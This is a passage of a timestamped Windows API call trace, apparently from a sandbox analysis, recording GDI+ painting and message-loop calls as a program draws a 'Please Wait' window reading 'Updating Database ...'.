1 [0109.166] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.166] GdipReleaseDC (graphics=0x1de45cf0, hdc=0x2d010b73) returned 0x0 [0109.166] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.166] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.166] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.167] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.167] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.167] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.168] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15e320 | out: lpwndpl=0x15e320) returned 1 [0109.168] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x47, wParam=0x0, lParam=0x15e8c0) returned 0x0 [0109.168] GetClientRect (in: hWnd=0x702f6, lpRect=0x15e0c0 | out: lpRect=0x15e0c0) returned 1 [0109.168] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15e0c0 | out: lpRect=0x15e0c0) returned 1 [0109.168] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x5, wParam=0x0, lParam=0x138010a) returned 0x0 [0109.169] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x3, wParam=0x0, lParam=0x11d024b) returned 0x0 [0109.169] GetClientRect (in: hWnd=0x702f6, lpRect=0x15e190 | out: lpRect=0x15e190) returned 1 [0109.169] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15e190 | out: lpRect=0x15e190) returned 1 [0109.170] SetFocus (hWnd=0x702f6) returned 0x702f6 [0109.170] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.171] IsWindowUnicode (hWnd=0x702f6) returned 1 [0109.171] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.203] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.203] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.205] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.205] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.205] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.205] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.205] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.205] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0109.205] GetCurrentThreadId () returned 0xec0 [0109.205] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0109.205] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.205] IsWindowUnicode (hWnd=0x702f6) returned 1 [0109.205] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.206] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.206] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.207] BeginPaint (in: hWnd=0x702f6, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0109.207] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.207] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0109.207] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0109.207] GetSystemMetrics (nIndex=42) returned 0 [0109.207] CoTaskMemAlloc (cb=0x1c) returned 0x1afbf0f0 [0109.208] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afbf0f0, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0109.208] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afbf0f0) returned 0xb [0109.208] CoTaskMemFree (pv=0x1afbf0f0) [0109.208] EndPaint (hWnd=0x702f6, lpPaint=0x15dcf8) returned 1 [0109.208] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x0 [0109.208] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.208] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.208] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.208] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.208] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.208] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0109.209] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.210] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffffbd01026a [0109.210] GetObjectType (h=0x3010b83) returned 0x3 [0109.210] CreateCompatibleBitmap (hdc=0x3010b83, cx=1, cy=1) returned 0x1905018e [0109.211] GetDIBits (in: hdc=0x3010b83, hbm=0x1905018e, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x15d408, usage=0x0 | out: lpvBits=0x0, lpbmi=0x15d408) returned 1 [0109.211] GetDIBits (in: hdc=0x3010b83, hbm=0x1905018e, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x15d408, usage=0x0 | out: lpvBits=0x0, lpbmi=0x15d408) returned 1 [0109.211] DeleteObject (ho=0x1905018e) returned 1 [0109.211] CreateDIBSection (in: hdc=0x3010b83, lpbmi=0x15d5e0, usage=0x0, ppvBits=0x15d5d8, hSection=0x0, offset=0x0 | out: ppvBits=0x15d5d8) returned 0x1905067e [0109.212] SelectObject (hdc=0xffffffffbd01026a, h=0x1905067e) returned 0x185000f [0109.212] GdipCreateFromHDC (hdc=0xffffffffbd01026a, graphics=0x15daf0) returned 0x0 [0109.213] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.250] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0109.250] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.250] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.250] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.250] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.250] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdcf0) returned 0x0 [0109.251] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.251] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.251] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.251] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.251] GdipGetClip (graphics=0x1de45cf0, region=0x1de43de0) returned 0x0 [0109.251] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de45cf0, result=0x15dc50) returned 0x0 [0109.251] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dd20) returned 0x0 [0109.251] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.252] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.252] GetSystemMetrics (nIndex=42) returned 0 [0109.252] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.252] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.252] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.252] CoTaskMemFree (pv=0x4ffe60) [0109.252] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.252] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.252] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.252] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.252] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.252] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.252] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.252] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.253] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.254] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0109.254] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.254] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.254] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.254] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.254] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.254] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d7c0) returned 0x0 [0109.254] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d780) returned 0x0 [0109.255] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d780) returned 0x0 [0109.255] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.255] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.255] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d7f0) returned 0x0 [0109.255] GetCurrentObject (hdc=0xffffffffbd01026a, type=0x1) returned 0x1b00017 [0109.256] GetCurrentObject (hdc=0xffffffffbd01026a, type=0x2) returned 0x1900010 [0109.256] GetCurrentObject (hdc=0xffffffffbd01026a, type=0x7) returned 0x1905067e [0109.256] GetCurrentObject (hdc=0xffffffffbd01026a, type=0x6) returned 0x18a002e [0109.256] SaveDC (hdc=0xffffffffbd01026a) returned 1 [0109.257] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x11040b8a [0109.257] GetClipRgn (hdc=0xffffffffbd01026a, hrgn=0x11040b8a) returned 0 [0109.258] SelectClipRgn (hdc=0xffffffffbd01026a, hrgn=0x3f0407c3) returned 2 [0109.258] DeleteObject (ho=0x11040b8a) returned 1 [0109.258] DeleteObject (ho=0x3f0407c3) returned 1 [0109.258] OffsetViewportOrgEx (in: hdc=0xffffffffbd01026a, x=0, y=0, lppt=0x26fb068 | out: lppt=0x26fb068) returned 1 [0109.259] GetNearestColor (hdc=0xffffffffbd01026a, color=0xffffff) returned 0xffffff [0109.259] CreateSolidBrush (color=0xffffff) returned 0x18100190 [0109.259] FillRect (hDC=0xffffffffbd01026a, lprc=0x15d7c0, hbr=0x18100190) returned 1 [0109.259] DeleteObject (ho=0x18100190) returned 1 [0109.259] RestoreDC (hdc=0xffffffffbd01026a, nSavedDC=-1) returned 1 [0109.259] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.259] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffbd01026a) returned 0x0 [0109.260] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffdb60dbd) returned 0x0 [0109.260] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.260] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0109.260] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.260] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.260] GetSystemMetrics (nIndex=42) returned 0 [0109.260] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.260] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.260] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.261] CoTaskMemFree (pv=0x4ffe60) [0109.261] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1) returned 0x0 [0109.265] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0109.265] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0109.267] GdipDrawImageRectI (graphics=0x1de45cf0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0109.271] GdipGetDC (graphics=0x1de45cf0, hdc=0x15dbf0) returned 0x0 [0109.271] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffffbd01026a, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.271] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.271] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffbd01026a) returned 0x0 [0109.272] SelectObject (hdc=0xffffffffbd01026a, h=0x185000f) returned 0x1905067e [0109.272] DeleteDC (hdc=0xffffffffbd01026a) returned 1 [0109.272] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.272] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.272] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.272] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0109.272] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.272] IsWindowUnicode (hWnd=0x20320) returned 1 [0109.272] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.272] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.272] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.272] BeginPaint (in: hWnd=0x20320, lpPaint=0x15dc38 | out: lpPaint=0x15dc38) returned 0x2d010b73 [0109.273] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.273] CreateCompatibleDC (hdc=0x2d010b73) returned 0xffffffffbf01026a [0109.273] DeleteObject (ho=0x1905067e) returned 1 [0109.273] GetObjectType (h=0x2d010b73) returned 0x3 [0109.273] CreateCompatibleBitmap (hdc=0x2d010b73, cx=1, cy=1) returned 0x1b05018e [0109.273] GetDIBits (in: hdc=0x2d010b73, hbm=0x1b05018e, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x15d358, usage=0x0 | out: lpvBits=0x0, lpbmi=0x15d358) returned 1 [0109.273] GetDIBits (in: hdc=0x2d010b73, hbm=0x1b05018e, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x15d358, usage=0x0 | out: lpvBits=0x0, lpbmi=0x15d358) returned 1 [0109.273] DeleteObject (ho=0x1b05018e) returned 1 [0109.273] CreateDIBSection (in: hdc=0x2d010b73, lpbmi=0x15d530, usage=0x0, ppvBits=0x15d528, hSection=0x0, offset=0x0 | out: ppvBits=0x15d528) returned 0x1a05067e [0109.273] SelectObject (hdc=0xffffffffbf01026a, h=0x1a05067e) returned 0x185000f [0109.273] GdipCreateFromHDC (hdc=0xffffffffbf01026a, graphics=0x15da40) returned 0x0 [0109.274] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.274] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=158, height=16, combineMode=0x0) returned 0x0 [0109.274] GdipCreateMatrix (matrix=0x15db70) returned 0x0 [0109.274] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.274] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dbd0) returned 0x0 [0109.274] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.274] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdcf0) returned 0x0 [0109.274] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.274] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.275] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.275] GdipCreateRegion (region=0x15db70) returned 0x0 [0109.275] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.275] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15dba0) returned 0x0 [0109.275] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dc70) returned 0x0 [0109.275] GetWindowTextLengthW (hWnd=0x20320) returned 21 [0109.275] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x15 [0109.275] GetSystemMetrics (nIndex=42) returned 0 [0109.275] CoTaskMemAlloc (cb=0x30) returned 0x1afbdcf0 [0109.275] GetWindowTextW (in: hWnd=0x20320, lpString=0x1afbdcf0, nMaxCount=22 | out: lpString="Updating Database ...") returned 21 [0109.275] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xd, wParam=0x16, lParam=0x1afbdcf0) returned 0x15 [0109.275] CoTaskMemFree (pv=0x1afbdcf0) [0109.275] GetClientRect (in: hWnd=0x20320, lpRect=0x15dbd0 | out: lpRect=0x15dbd0) returned 1 [0109.276] GdipCreateRegion (region=0x15d660) returned 0x0 [0109.276] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.276] GdipCreateMatrix (matrix=0x15d660) returned 0x0 [0109.276] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.276] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d6c0) returned 0x0 [0109.276] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.276] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.276] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.276] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0109.276] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.276] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.277] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.277] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.277] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.277] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d710) returned 0x0 [0109.277] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d6d0) returned 0x0 [0109.277] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d6d0) returned 0x0 [0109.277] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.277] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.277] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d740) returned 0x0 [0109.277] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x1) returned 0x1b00017 [0109.277] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x2) returned 0x1900010 [0109.277] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x7) returned 0x1a05067e [0109.277] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x6) returned 0x18a002e [0109.278] SaveDC (hdc=0xffffffffbf01026a) returned 1 [0109.278] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x400407c3 [0109.278] GetClipRgn (hdc=0xffffffffbf01026a, hrgn=0x400407c3) returned 0 [0109.278] SelectClipRgn (hdc=0xffffffffbf01026a, hrgn=0x12040b8a) returned 2 [0109.278] DeleteObject (ho=0x400407c3) returned 1 [0109.278] DeleteObject (ho=0x12040b8a) returned 1 [0109.278] OffsetViewportOrgEx (in: hdc=0xffffffffbf01026a, x=0, y=0, lppt=0x26fcdf0 | out: lppt=0x26fcdf0) returned 1 [0109.278] GetNearestColor (hdc=0xffffffffbf01026a, color=0xffffff) returned 0xffffff [0109.278] CreateSolidBrush (color=0xffffff) returned 0x19100190 [0109.278] FillRect (hDC=0xffffffffbf01026a, lprc=0x15d710, hbr=0x19100190) returned 1 [0109.278] DeleteObject (ho=0x19100190) returned 1 [0109.278] RestoreDC (hdc=0xffffffffbf01026a, nSavedDC=-1) returned 1 [0109.278] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.279] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffbf01026a) returned 0x0 [0109.279] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffdb40dbd) returned 0x0 [0109.279] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.279] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.279] GetWindowTextLengthW (hWnd=0x20320) returned 21 [0109.279] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x15 [0109.279] GetSystemMetrics (nIndex=42) returned 0 [0109.279] CoTaskMemAlloc (cb=0x30) returned 0x1afbdcf0 [0109.279] GetWindowTextW (in: hWnd=0x20320, lpString=0x1afbdcf0, nMaxCount=22 | out: lpString="Updating Database ...") returned 21 [0109.279] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xd, wParam=0x16, lParam=0x1afbdcf0) returned 0x15 [0109.279] CoTaskMemFree (pv=0x1afbdcf0) [0109.280] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d790) returned 0x0 [0109.280] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x1) returned 0x1b00017 [0109.280] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x2) returned 0x1900010 [0109.280] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x7) returned 0x1a05067e [0109.280] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x6) returned 0x18a002e [0109.280] SaveDC (hdc=0xffffffffbf01026a) returned 1 [0109.280] GetNearestColor (hdc=0xffffffffbf01026a, color=0x0) returned 0x0 [0109.280] RestoreDC (hdc=0xffffffffbf01026a, nSavedDC=-1) returned 1 [0109.280] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.280] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffbf01026a) returned 0x0 [0109.281] AdjustWindowRectEx (in: lpRect=0x15d650, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15d650) returned 1 [0109.281] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x15d6d0, fWinIni=0x0 | out: pvParam=0x15d6d0) returned 1 [0109.281] SendMessageW (hWnd=0x702f6, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0109.281] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0109.281] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0109.282] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0109.282] RedrawWindow (hWnd=0x2031e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0109.282] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0109.282] RedrawWindow (hWnd=0x20320, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0109.282] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0109.282] RedrawWindow (hWnd=0x20312, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0109.282] RedrawWindow (hWnd=0x702f6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0109.286] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d650) returned 0x0 [0109.286] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x1) returned 0x1b00017 [0109.286] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x2) returned 0x1900010 [0109.286] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x7) returned 0x1a05067e [0109.286] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x6) returned 0x18a002e [0109.286] SaveDC (hdc=0xffffffffbf01026a) returned 1 [0109.288] GetTextAlign (hdc=0xffffffffbf01026a) returned 0x0 [0109.288] GetTextColor (hdc=0xffffffffbf01026a) returned 0x0 [0109.289] GetCurrentObject (hdc=0xffffffffbf01026a, type=0x6) returned 0x18a002e [0109.289] GetObjectW (in: h=0x18a002e, c=92, pv=0x15d0c0 | out: pv=0x15d0c0) returned 92 [0109.289] SelectObject (hdc=0xffffffffbf01026a, h=0xd0a0b75) returned 0x18a002e [0109.292] GetBkMode (hdc=0xffffffffbf01026a) returned 2 [0109.293] SetBkMode (hdc=0xffffffffbf01026a, mode=1) returned 2 [0109.293] DrawTextExW (in: hdc=0xffffffffbf01026a, lpchText="Updating Database ...", cchText=21, lprc=0x15d200, format=0x100000, lpdtp=0x26fd5b8 | out: lpchText="Updating Database ...", lprc=0x15d200) returned 16 [0109.296] RestoreDC (hdc=0xffffffffbf01026a, nSavedDC=-1) returned 1 [0109.296] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.296] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffbf01026a) returned 0x0 [0109.296] GdipGetDC (graphics=0x1de45cf0, hdc=0x15db40) returned 0x0 [0109.296] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=158, cy=16, hdcSrc=0xffffffffbf01026a, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.296] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.296] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffbf01026a) returned 0x0 [0109.296] SelectObject (hdc=0xffffffffbf01026a, h=0x185000f) returned 0x1a05067e [0109.296] DeleteDC (hdc=0xffffffffbf01026a) returned 1 [0109.297] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.297] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.297] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.297] EndPaint (hWnd=0x20320, lpPaint=0x15dc48) returned 1 [0109.297] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.297] IsWindowUnicode (hWnd=0x702f6) returned 1 [0109.297] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.297] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.297] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.297] BeginPaint (in: hWnd=0x702f6, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0109.297] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15d5e0 | out: lpwndpl=0x15d5e0) returned 1 [0109.297] GetClientRect (in: hWnd=0x702f6, lpRect=0x15d490 | out: lpRect=0x15d490) returned 1 [0109.297] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0109.297] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0109.297] GetSystemMetrics (nIndex=42) returned 0 [0109.297] 